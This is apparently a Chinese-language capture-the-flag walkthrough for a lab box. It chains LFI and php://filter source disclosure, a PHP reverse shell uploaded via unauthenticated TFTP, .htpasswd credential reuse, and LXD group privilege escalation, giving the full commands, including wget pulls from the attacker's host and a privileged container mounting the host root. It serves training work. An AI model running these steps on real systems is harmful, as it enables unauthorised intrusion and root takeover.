这个靶场主要练习local file inclusion LFI漏洞，其主要作用是允许攻击者执行任意命令，通常由于错误配置服务器导致应用程序使用文件路径作为输入，攻击者则可以在包含语句中使用本地文件来获取shell 从标题文件路径入手可以使用/etc/passwd/尝试成功得到用户列表

Graphical user interface

Description automatically generated

通过题目得知要进行目标的UDP端口扫描

常规nmap -sU 很慢 加上 -vv提速

通常还可以使用gobuster和nikto看看常规服务和使用的网页版本号等

Searchspolit 应用版本可以查看已知的漏洞等信息

Text

Description automatically generated

可以看出有用户mike

Google lfi highon.coffee可以查一些cheatsheet 找到可能存在的php file等

在highon.Coffee 可以找到php://fillter帮助我们把原网页的php原文以base64的形式返回

再通过解密base64得到原php代码

Graphical user interface, text, application, email

Description automatically generated

如果网站存在本地文件包含漏洞一般可以尝试是否包含远程文件包含漏洞，通过访问本地的webshell并再本地起一个监听来获得反弹shell

本靶场没有远程文件包含漏洞 因此得手动上传webshell

通过扫描结果得知这次靶场存在的TFTP简单文件传输协议 是一个没有安全性能的FTP协议

他是用UDP 69端口号 无验证和加密机制

因此我们用过tftp 靶机ip链接 通过google得知tftp的默认文件路径是/var/lib/tftpboot

在本地起一个nc端口监听获取反弹shell 再通过使用put shell.php上传我们的反弹shell payload

成功拿到shell

拿到shell后第一时间升级shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

whoami ls -la查看文件 找到一个.htpasswd的文件内含了用户mike的账户密码

su mike切换到mike账户获得userflag

该目标靶场还将讨论一个linux user group LXD的漏洞 因为已知用户mike的用户组为lxd

Graphical user interface, text, application, email

Description automatically generated

<https://www.cnblogs.com/zlgxzswjy/p/14790554.html> 中文提权

<https://www.hackingarticles.in/lxd-privilege-escalation/> 英文提权

安装所需要的工：

sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools

git clone https://github.com/lxc/distrobuilder

cd distrobuilder

make

mkdir -p $HOME/ContainerImages/alpine/

cd $HOME/ContainerImages/alpine/

wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml

sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8

随后我们会得到lxd.tar.xz 和rootfs.squashfs 两个文件

启动 python3 -m http.server 8000 http服务来传送文件

通过反弹shell来执行wget获取两个文件

wget http://{local\_IP}:8000/lxd.tar.xz

wget http://{local\_IP}:8000/rootfs.squashfs

上传成功后将import image

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

通过lxc image list可以看到Alpine已经在image list中并且 security为false

我们需要把security.privileged的flag调整为true

lxc init alpine privesc -c security.privileged=true

同时还需要把root文件系统的路径改到/mnt下

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

最终我们可以在contanier中执行root shell

Lxc start privesc

Lxc exe privesc /bin/sh

Whoami root

Cd /mnt/root/root

Cat root.txt